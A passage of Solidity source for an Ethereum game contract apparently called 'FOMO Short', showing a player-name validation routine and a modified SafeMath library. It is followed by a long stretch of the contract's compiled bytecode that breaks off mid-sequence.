0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461035f57806306fdde0314610386578063079ce327146104105780630f15f4c01461043057806310f01eba1461044557806311a09ae71461046657806324c33d331461047b5780632660316e146104f25780632ce21999146105215780632e19ebdc14610552578063349cdcac1461056a5780633ccfd60b146105885780633ddd46981461059d57806349cc635d146105f95780635893d48114610623578063624ae5c01461063e5780636306643414610653578063685ffd8314610689578063747dff42146106dc57806382bfc739146107675780638f38f3091461078e5780638f7140ea1461079c578063921dec21146107b757806395d89b411461080a57806398a0871d1461081f578063a2bccae914610836578063a65b37a114610877578063c519500e14610885578063c7e284b81461089d578063ce89c80c146108b2578063cf808000146108cd578063d53b2679146108e5578063d87574e0146108fa578063de7874f31461090f578063ed78cf4a14610969578063ee0b5d8b14610971575b6101c9615161565b600f5460009060ff16151560011461022d576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015610274576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca008110156102cc576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561031c576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b610325856109ca565b33600090815260066020818152604080842054808552600890925290922001549196509450610358908590600288610c7e565b5050505050005b34801561036b57600080fd5b50610374610eb8565b60408051918252519081900360200190f35b34801561039257600080fd5b5061039b610f7d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d55781810151838201526020016103bd565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061042e600435602435604435610fb4565b005b34801561043c57600080fd5b5061042e6111c0565b34801561045157600080fd5b50610374600160a060020a03600435166112f3565b34801561047257600080fd5b50610374611305565b34801561048757600080fd5b5061049360043561130b565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b3480156104fe57600080fd5b5061050d60043560243561136e565b604080519115158252519081900360200190f35b34801561052d57600080fd5b5061053960043561138e565b6040805192835260208301919091528051918290030190f35b34801561055e57600080fd5b506103746004356113a7565b34801561057657600080fd5b5061042e6004356024356044356113b9565b34801561059457600080fd5b5061042e61159f565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515611920565b34801561060557600080fd5b5061042e600435600160a060020a0360243516604435606435611ad9565b34801561062f57600080fd5b50610374600435602435611cca565b34801561064a57600080fd5b50610374611ce7565b34801561065f57600080fd5b5061066b600435611ced565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f810184900484028501840190955284845261042e943694929360249392840191908190840183828082843750949750508435955050505050602001351515611e93565b3480156106e857600080fd5b506106f1611f73565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561077357600080fd5b5061042e600160a060020a0360043516602435604435612171565b61042e60043560243561236b565b3480156107a857600080fd5b5061042e600435602435612552565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050843595505050505060200135151561262f565b34801561081657600080fd5b5061039b61270f565b61042e600160a060020a0360043516602435612746565b34801561084257600080fd5b5061085160043560243561295b565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61042e60043560243561298d565b34801561089157600080fd5b50610539600435612b8a565b3480156108a957600080fd5b50610374612ba3565b3480156108be57600080fd5b50610374600435602435612c32565b3480156108d957600080fd5b50610374600435612cda565b3480156108f157600080fd5b5061050d612d8c565b34801561090657600080fd5b50610374612d95565b34801561091b57600080fd5b50610927600435612d9b565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b61042e612de2565b34801561097d57600080fd5b50610992600160a060020a0360043516612e5f565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6109d2615161565b336000908152600660205260408120549080821515610c7557604080517fe56556a9000000000000000000000000000000000000000000000000000000008152336004820152905173f6b8836492f8332d17b1496828d2bee71ad511da9163e56556a99160248083019260209291908290030181600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b505050506040513d6020811015610a8157600080fd5b5051604080517f82e37b2c00000000000000000000000000000000000000000000000000000000815260048101839052905191945073f6b8836492f8332d17b1496828d2bee71ad511da916382e37b2c916024808201926020929091908290030181600087803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b505050506040513d6020811015610b1e57600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101869052905191935073f6b8836492f8332d17b1496828d2bee71ad511da9163e3c08adf916024808201926020929091908290030181600087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b505133600081815260066020908152604080832088905587835260089091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610c44576000828152600760209081526040808320869055858352600882528083206001908101869055600a8352818420868552909252909120805460ff191690911790555b8015801590610c535750828114155b15610c6d5760008381526008602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600b602052604090206004015442910181118015610ce957506000828152600b602052604090206002015481111580610ce957506000828152600b602052604090206002015481118015610ce957506000828152600b6020526040902054155b15610d0157610cfc828734888888612f34565b610eb0565b6000828152600b602052604090206002015481118015610d3357506000828152600b602052604090206003015460ff16155b15610e7b576000828152600b60205260409020600301805460ff19166001179055610d5d83613485565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360086000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260086020526040902060030154610e9d903463ffffffff61388916565b6000878152600860205260409020600301555b505050505050565b6005546002546000828152600b602052604081206004015490929142910181118015610f2657506000828152600b602052604090206002015481111580610f2657506000828152600b602052604090206002015481118015610f2657506000828152600b6020526040902054155b15610f6e576000828152600b6020526040902060050154610f6790670de0b6b3a764000090610f5b908263ffffffff61388916565b9063ffffffff6138ea16565b9250610f78565b6544364c5bb00092505b505090565b60408051808201909152600a81527f464f4d4f2053686f727400000000000000000000000000000000000000000000602082015281565b610fbc615161565b600f54600090819060ff161515600114611022576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611069576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca008110156110c1576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611111576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450881580611140575060008581526008602052604090206001015489145b1561115e57600085815260086020526040902060060154935061119d565b600089815260076020908152604080832054888452600890925290912060060154909450841461119d5760008581526008602052604090206006018490555b6111a688613917565b97506111b585858a8a8a61393c565b505050505050505050565b600054600160a060020a03163314611222576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b600f5460ff161561127d576040805160e560020a62461bcd02815260206004820152601c60248201527f464f4d4f2053686f727420616c72656164792061637469766174656400000000604482015290519081900360640190fd5b600f805460ff1916600190811790915560058190556002548154600092909252600b602052429091019081037f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d355610708017f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d155565b60066020526000908152604090205481565b60045481565b600b60208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b01549a909b0154989a9799969860ff90961697949693959294919390928c565b600a60209081526000928352604080842090915290825290205460ff1681565b600d602052600090815260409020805460019091015482565b60076020526000908152604090205481565b6113c1615161565b600f5460009060ff161515600114611425576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561146c576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b84633b9aca008110156114c4576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611514576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b33600090815260066020526040902054935087158061153257508388145b1561155057600084815260086020526040902060060154975061157d565b600084815260086020526040902060060154881461157d5760008481526008602052604090206006018890555b61158687613917565b9650611595848989898961393c565b5050505050505050565b6000806000806115ad615161565b600f5460ff16151560011461160e576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611655576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b60055433600090815260066020908152604080832054848452600b909252909120600201549198504297509550861180156116a257506000878152600b602052604090206003015460ff16155b80156116bb57506000878152600b602052604090205415155b15611861576000878152600b60205260409020600301805460ff191660011790556116e583613485565b92506116f085613b58565b9350600084111561174157600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f1935050505015801561173f573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc3360086000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611917565b61186a85613b58565b935060008411156118bb57600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f193505050501580156118b9573d6000803e3d6000fd5b505b6000858152600860209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b6000808080808033803b801561196e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6119778b613bdf565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b50995034985073f6b8836492f8332d17b1496828d2bee71ad511da9263aa4d490b928a926084808201939182900301818588803b158015611a0857600080fd5b505af1158015611a1c573d6000803e3d6000fd5b50505050506040513d6040811015611a3357600080fd5b508051602091820151600160a060020a03808b1660008181526006865260408082205485835260088852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b3373f6b8836492f8332d17b1496828d2bee71ad511da14611b6a576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020548414611ba557600160a060020a03831660009081526006602052604090208490555b6000828152600760205260409020548414611bcc5760008281526007602052604090208490555b600084815260086020526040902054600160a060020a03848116911614611c22576000848152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600860205260409020600101548214611c4f5760008481526008602052604090206001018290555b6000848152600860205260409020600601548114611c7c5760008481526008602052604090206006018190555b6000848152600a6020908152604080832085845290915290205460ff161515611cc4576000848152600a602090815260408083208584529091529020805460ff191660011790555b50505050565b600c60209081526000928352604080842090915290825290205481565b60055481565b6005546000818152600b60205260408120600201549091829182919042118015611d2957506000818152600b602052604090206003015460ff16155b8015611d4257506000818152600b602052604090205415155b15611e63576000818152600b6020526040902054851415611e27576000818152600b6020526040902060070154611db090606490611d8790603063ffffffff6143f216565b811515611d9057fe5b60008881526008602052604090206002015491900463ffffffff61388916565b6000868152600960209081526040808320858452909152902060020154611e0990611deb90611ddf8986614469565b9063ffffffff61453716565b6000888152600860205260409020600301549063ffffffff61388916565b60008781526008602052604090206004015491955093509150611e8b565b600085815260086020908152604080832060029081015460098452828520868652909352922090910154611e0990611deb90611ddf8986614469565b60008581526008602052604090206002810154600590910154611e0990611deb908890614597565b509193909250565b6000808080808033803b8015611ee1576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b611eea8b613bdf565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073f6b8836492f8332d17b1496828d2bee71ad511da9263745ea0c1928a926084808201939182900301818588803b158015611a0857600080fd5b60008060008060008060008060008060008060008060006005549050600b60008281526020019081526020016000206009015481600b600084815260200190815260200160002060050154600b600085815260200190815260200160002060020154600b600086815260200190815260200160002060040154600b600087815260200190815260200160002060070154600b600088815260200190815260200160002060000154600a02600b6000898152602001908152602001600020600101540160086000600b60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660086000600b60008c815260200190815260200160002060000154815260200190815260200160002060010154600c60008b8152602001908152602001600020600080815260200190815260200160002054600c60008c815260200190815260200160002060006001815260200190815260200160002054600c60008d815260200190815260200160002060006002815260200190815260200160002054600c60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b612179615161565b600f54600090819060ff1615156001146121df576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612226576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca0081101561227e576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156122ce576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450600160a060020a03891615806122fe5750600160a060020a03891633145b1561231c57600085815260086020526040902060060154935061119d565b600160a060020a03891660009081526006602081815260408084205489855260089092529092200154909450841461119d5760008581526008602052604090206006018490556111a688613917565b612373615161565b600f5460009060ff1615156001146123d7576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561241e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612476576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156124c6576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6124cf856109ca565b3360009081526006602052604090205490955093508615806124f057508387145b1561250e57600084815260086020526040902060060154965061253b565b600084815260086020526040902060060154871461253b5760008481526008602052604090206006018790555b61254486613917565b955061191784888888610c7e565b3373f6b8836492f8332d17b1496828d2bee71ad511da146125e3576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a6020908152604080832084845290915290205460ff16151561262b576000828152600a602090815260408083208484529091529020805460ff191660011790555b5050565b6000808080808033803b801561267d576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6126868b613bdf565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073f6b8836492f8332d17b1496828d2bee71ad511da9263c0942dfd928a926084808201939182900301818588803b158015611a0857600080fd5b60408051808201909152600581527f53484f5254000000000000000000000000000000000000000000000000000000602082015281565b61274e615161565b600f54600090819060ff1615156001146127b4576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b80156127fb576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612853576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156128a3576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6128ac866109ca565b336000908152600660205260409020549096509450600160a060020a03881615806128df5750600160a060020a03881633145b156128fd576000858152600860205260409020600601549350612944565b600160a060020a0388166000908152600660208181526040808420548985526008909252909220015490945084146129445760008581526008602052604090206006018490555b61294d87613917565b965061159585858989610c7e565b600960209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b612995615161565b600f54600090819060ff1615156001146129fb576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612a42576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612a9a576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612aea576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b612af3866109ca565b336000908152600660205260409020549096509450871580612b25575060008581526008602052604090206001015488145b15612b43576000858152600860205260409020600601549350612944565b600088815260076020908152604080832054888452600890925290912060060154909450841461294457600085815260086020526040902060060184905561294d87613917565b600e602052600090815260409020805460019091015482565b6005546000818152600b60205260408120600201549091904290811015612c29576002546000838152600b602052604090206004015401811115612c03576000828152600b6020526040902060020154610f67908263ffffffff61453716565b6002546000838152600b6020526040902060040154610f6791018263ffffffff61453716565b60009250610f78565b6002546000838152600b6020526040812060040154909142910181118015612c9c57506000848152600b602052604090206002015481111580612c9c57506000848152600b602052604090206002015481118015612c9c57506000848152600b6020526040902054155b15612cca576000848152600b6020526040902060060154612cc3908463ffffffff6145f416565b9150612cd3565b612cc383614615565b5092915050565b6005546002546000828152600b602052604081206004015490929142910181118015612d4857506000828152600b602052604090206002015481111580612d4857506000828152600b602052604090206002015481118015612d4857506000828152600b6020526040902054155b15612d7c576000828152600b6020526040902060050154612d75908590610f5b908263ffffffff61388916565b9250612d85565b612d758461468d565b5050919050565b600f5460ff1681565b60035481565b6008602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600b6020526040902060070154612e0a903463ffffffff61388916565b6000828152600b6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a038916600090815260066020908152604080832054808452600880845282852060018082015460098752858820898952875294872001549583905293526002830154600590930154909384939091612ef590612ed7908690614597565b6000878152600860205260409020600301549063ffffffff61388916565b600095865260086020908152604080882060040154600983528189209989529890915290952054939e929d50909b509950919750919550909350915050565b60008581526009602090815260408083208984529091528120600101548190819081901515612f6a57612f6789866146fa565b94505b60008a8152600b602052604090206006015468056bc75e2d63100000118015612fc4575060008981526009602090815260408083208d8452909152902054670de0b6b3a764000090612fc2908a63ffffffff61388916565b115b1561304b5760008981526009602090815260408083208d8452909152902054612ffc90670de0b6b3a76400009063ffffffff61453716565b935061300e888563ffffffff61453716565b60008a815260086020526040902060030154909350613033908463ffffffff61388916565b60008a81526008602052604090206003015592965086925b633b9aca008811156134795760008a8152600b6020526040902060060154613079908963ffffffff6145f416565b9150670de0b6b3a764000082106130f057613094828b614759565b60008a8152600b602052604090205489146130bb5760008a8152600b602052604090208990555b60008a8152600b602052604090206001015486146130e85760008a8152600b602052604090206001018690555b845160640185525b67016345785d8a0000881061333057600480546001019055613110614835565b15156001141561333057678ac7230489e8000088106131b15760035460649061314090604b63ffffffff6143f216565b81151561314957fe5b60008b8152600860205260409020600201549190049150613170908263ffffffff61388916565b60008a815260086020526040902060020155600354613195908263ffffffff61453716565b60035584516d0eca8847c4129106ce8300000000018552613305565b670de0b6b3a764000088101580156131d05750678ac7230489e8000088105b1561325d576003546064906131ec90603263ffffffff6143f216565b8115156131f557fe5b60008b815260086020526040902060020154919004915061321c908263ffffffff61388916565b60008a815260086020526040902060020155600354613241908263ffffffff61453716565b60035584516d09dc5ada82b70b59df0200000000018552613305565b67016345785d8a0000881015801561327c5750670de0b6b3a764000088105b156133055760035460649061329890601963ffffffff6143f216565b8115156132a157fe5b60008b81526008602052604090206002015491900491506132c8908263ffffffff61388916565b60008a8152600860205260409020600201556003546132ed908263ffffffff61453716565b60035584516d0eca8847c4129106ce83000000000185525b84516d314dc6448d9338c15b0a000000008202016c7e37be2022c0914b268000000001855260006004555b60045485516103e890910201855260008981526009602090815260408083208d845290915290206001015461336c90839063ffffffff61388916565b60008a81526009602090815260408083208e84529091529020600181019190915554613399908990613889565b60008a81526009602090815260408083208e8452825280832093909355600b905220600501546133d090839063ffffffff61388916565b60008b8152600b602052604090206005810191909155600601546133fb90899063ffffffff61388916565b60008b8152600b6020908152604080832060060193909355600c81528282208983529052205461343290899063ffffffff61388916565b60008b8152600c602090815260408083208a845290915290205561345a8a8a8a8a8a8a614a4c565b945061346a8a8a8a89868a614c56565b945061347989878a8589614dc4565b50505050505050505050565b61348d615161565b6005546000818152600b6020526040812080546001820154600790920154909280808080808060646134c689603063ffffffff6143f216565b8115156134cf57fe5b04965060328860008b8152600e602052604090205491900496506064906134fd908a9063ffffffff6143f216565b81151561350657fe5b60008b8152600e60205260409020600101549190049550606490613531908a9063ffffffff6143f216565b81151561353a57fe5b04935061355584611ddf87818a818e8e63ffffffff61453716565b60008c8152600b602052604090206005015490935061358286670de0b6b3a764000063ffffffff6143f216565b81151561358b57fe5b60008d8152600b602052604090206005015491900492506135d990670de0b6b3a7640000906135c190859063ffffffff6143f216565b8115156135ca57fe5b8791900463ffffffff61453716565b90506000811115613609576135f4858263ffffffff61453716565b9450613606838263ffffffff61388916565b92505b60008a81526008602052604090206002015461362c90889063ffffffff61388916565b60008b8152600860205260408082206002019290925580549151600160a060020a039092169188156108fc0291899190818181858888f19350505050158015613679573d6000803e3d6000fd5b50600054600160a060020a03166108fc6136968660028104614537565b6040518115909202916000818181858888f193505050501580156136be573d6000803e3d6000fd5b506136cc8860028604613889565b60008c8152600b602052604090206007810191909155600801546136f790839063ffffffff61388916565b600b60008d815260200190815260200160002060080181905550600b60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600860008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600860008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600b60008d81526020019081526020016000206004018190555061385a60025461384e6107084261388990919063ffffffff16565b9063ffffffff61388916565b60008c8152600b6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b818101828110156138e4576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b6000613910613907613902858563ffffffff61453716565b61468d565b611ddf8561468d565b9392505050565b6000808210806139275750600382115b1561393457506002613937565b50805b919050565b6005546002546000828152600b6020526040902060040154429101811180156139a757506000828152600b6020526040902060020154811115806139a757506000828152600b6020526040902060020154811180156139a757506000828152600b6020526040902054155b156139de576139b984611ddf89613b58565b6000888152600860205260409020600301556139d9828886898988612f34565b611917565b6000828152600b602052604090206002015481118015613a1057506000828152600b602052604090206003015460ff16155b15611917576000828152600b60205260409020600301805460ff19166001179055613a3a83613485565b925080670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600860008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600860205260408120600501548190613b77908490614f32565b600083815260086020526040902060048101546003820154600290920154613ba99261384e919063ffffffff61388916565b90506000811115613bd55760008381526008602052604081206002810182905560038101829055600401555b8091505b50919050565b8051600090829082808060208411801590613bfa5750600084115b1515613c76576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613c8557fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613cec57508460018503815181101515613cc457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613d68576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d7757fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613eba57846001815181101515613db157fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613e2e576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613e3d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613eba576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b8382101561438a5784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613ef757fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613f6b575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613f4c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15613fd8578482815181101515613f7e57fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515613faf57fe5b906020010190600160f860020a031916908160001a905350821515613fd357600192505b61437f565b8482815181101515613fe657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214806140b6575084517f60000000000000000000000000000000000000000000000000000000000000009086908490811061404257fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156140b6575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061409757fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80614160575084517f2f00000000000000000000000000000000000000000000000000000000000000908690849081106140ec57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614160575084517f3a000000000000000000000000000000000000000000000000000000000000009086908490811061414157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15156141dc576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b84828151811015156141ea57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156142c957848260010181518110151561422657fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141515156142c9576040